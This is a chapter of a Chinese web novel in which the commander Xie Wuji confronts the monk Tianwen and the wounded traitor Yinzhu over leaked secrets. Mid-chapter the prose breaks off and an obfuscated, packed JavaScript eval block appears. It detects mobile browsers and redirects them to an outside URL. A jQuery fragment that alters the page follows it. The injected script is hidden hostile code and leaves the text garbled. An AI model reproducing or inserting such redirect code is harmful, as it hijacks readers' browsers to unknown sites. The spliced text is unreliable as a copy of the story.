随着谢无咎的动作,隐竹满脸是血的脑袋被抬了起来,了无生气地靠在谢无咎的手心里。
他双眼紧闭,呼吸微弱,就算是还活着,这会儿看起来也和**并没有太多区别。
“隐竹可是本督座下第一人,与本督出生入死的交情,天问大师,敢问你是用了什么办法,让他叛变的?”
谢无咎的掌心摩挲着隐竹的下巴,语气平淡,可听在众人耳中,却让他们齐齐一凛。
天问大师的表情也终于变得难看了起来。
“还有,大师是什么时候策反了他?”谢无咎的目光又朝着天问大师看了过去,“论趁虚而入,你倒是登峰造极。”
谢无咎发现隐竹有问题,是在给安王易容的时候。
五官能通过手艺调整,声音原本也是可以的,可隐竹却谎称那最重要的工具丢了,无法为安王将声音调整成昭德帝的模样。
这摆明了是在推脱搪塞。
谢无咎本以为这是隐竹对受罚的不满和报复,毕竟他也是个锱铢必较之人。
可他本想搜出隐竹藏起来的工具,顺便给他一个教训,却不想,误打误撞,竟然发现了他向外传送密信,泄露东厂情况的作为。
谢无咎原本还十分疑惑,隐竹为何要做出这种事情,眼下见着了天问大师之后,一切疑问都迎刃而解了。
“原来本督身边也有这么一个探子。”他释然地微笑着。
“哼,不错!”
大概是彻底暴露了出来,图穷匕见,天问大师也不装了,冷冷地勾起嘴角,露出一个阴沉的笑容。
“为了这一天,贫僧可是费了不少的功夫啊。”
往京中各个可能的地方安插自己的人手,再一次次地暗示这些达官贵人,或者是军中大将做出一些不好的猜测,这可不是一天就能办成的事情。
“事到如今,看来是颇具成效。”
天问大师又挺了挺腰杆。
“什么成效?”
似乎是对他这话十分好奇,谢无咎倏地放开停留在隐竹身上的手,睁大了双眼朝着天问大师看了过去。
“莫非……你指的是让京城乱起来的成效?”
天问大师笑而不语,眼底显出一丝淡淡的得色。
但这点隐而不发的炫耀,很快便在谢无咎张狂的大笑声中消失得无影无踪。
“你笑什么?”
谢无咎笑得实在厉害,饶是天问大师的心态方才还十分愉快,这会儿也被笑得渐渐皱起眉头,语气也变得十分不好。
谢无咎闻言却并未理会,又自顾自地笑了一会儿,方才抬手擦了擦眼角溢出来的几点泪水。
“我当然是在笑你啊,井底之蛙。”
听着这个评价,天问大师的脸色顿时又变回了铁青。
他胸膛起伏,被这话明显地冒犯到了。
谢无咎双手背后,语气又变得轻飘飘的。
“想让京城生乱,都要费上这么大的力气,安插了无数人手吧?大师,有这样的功夫,您都不愿意亲自现身,只想鬼鬼祟祟地躲在后面,坐享其成,像您这样的怂包软蛋,本督确实是没怎么见过。”
“就算是当条狗,多少也得有一战的勇气吧?”
这话就更是让天问大师涨红了脸色。
“隐竹啊。”
自顾自地说完话,谢无咎似乎是对天问大师的脸色没有半点兴趣,扭头又朝着隐竹看了过去。
“事已至此,你不妨也说说吧,这位井底之蛙的大师,是怎么说服你这只小蛙的?”
说到最后一句,谢无咎转过身子,眼底终究还是带上了几许暗色。
将昭德帝身边的两个影卫派到安王身边,今天晚上,天问大师刚一抵达安王屋中,这个消息便立刻往东厂传了过来。
时间虽然算不上充足,但谢无咎也不是全无准备。
他今晚说出的话真真假假,但唯有眼下,对着隐竹的时候,谢无咎多少还是泄露了一点更深处的情绪。
毕竟,这是和自己一道出生入死过的人。
可惜,人心易改。
隐竹半死不活地垂着脑袋,谢无咎的话音落了地,他也没有半分反应,倒是隐翼寒着脸,一把捏住他的下巴,迫使隐竹抬起头来。
“别装死!”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15897972|167772||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
沉声低喝,隐翼的语气十分地不客气。
身为主子的手下,还曾经是主子最信任的人,隐竹竟然吃里扒外!
简直是不可饶恕!
哆嗦了一下,隐竹幽幽地睁开双眼,看着眼前的一切,并没有半点意外或陌生的情绪。
看样子是早就醒了。
“说说吧。”
早在隐竹抬眼的那一瞬间,谢无咎便整理好了自己那点情绪,对上他幽幽的眼神之时,已经重新变得笑眯眯的。
隐竹咳嗽两声,嘴一张,先朝着地上吐出了一大口血。
“我,我没什么可说的……”
他语气发虚,嗓音也沙哑粗粝,一听就是受了很重的内伤,时日无多了。
“我的确是背叛了主子,我该死,就请主子看在属下过往兢兢业业的份儿上,给属下一个痛快吧!”
声音虽然虚弱,隐竹的口气却是铿锵有力的。
隐月听着他这话就来气,上前一脚踹过去,鼻子不是鼻子,眼睛不是眼睛地指着隐竹的鼻子。
“你这是还不觉得自己有错,是不是?”
都在刺探主子的行为了,这隐竹是怎么还能做到如此大义凛然的?
不知道的,还以为是主子的错呢!
隐竹又被这一脚踢得吐出一口血,再看向隐月的时候,眼神虽然迷离,但眼底却是带着恨的。
“主子……误入歧途,你们这些人身为下属,竟然不加以劝阻,听之任之,放任主子在错误的道路上越走越远!你们这些软骨头!呸!”
他又是一口带血的唾沫喷出,隐月后退两步,神情惊疑不定。
“……你是什么时候疯的?”他忍无可忍地问道。
主子要走哪条路,他们这些当手下的要置喙什么?
隐竹又轻笑了一声,听着十分费力。
“我——”
“行了。”
他正要开口,从旁边忽然伸出来一只手。
谢无咎毫不留情地捏住隐竹半张着的两片嘴唇,眼底全是嫌恶。
“时间拖延得差不多了,你快闭嘴吧。”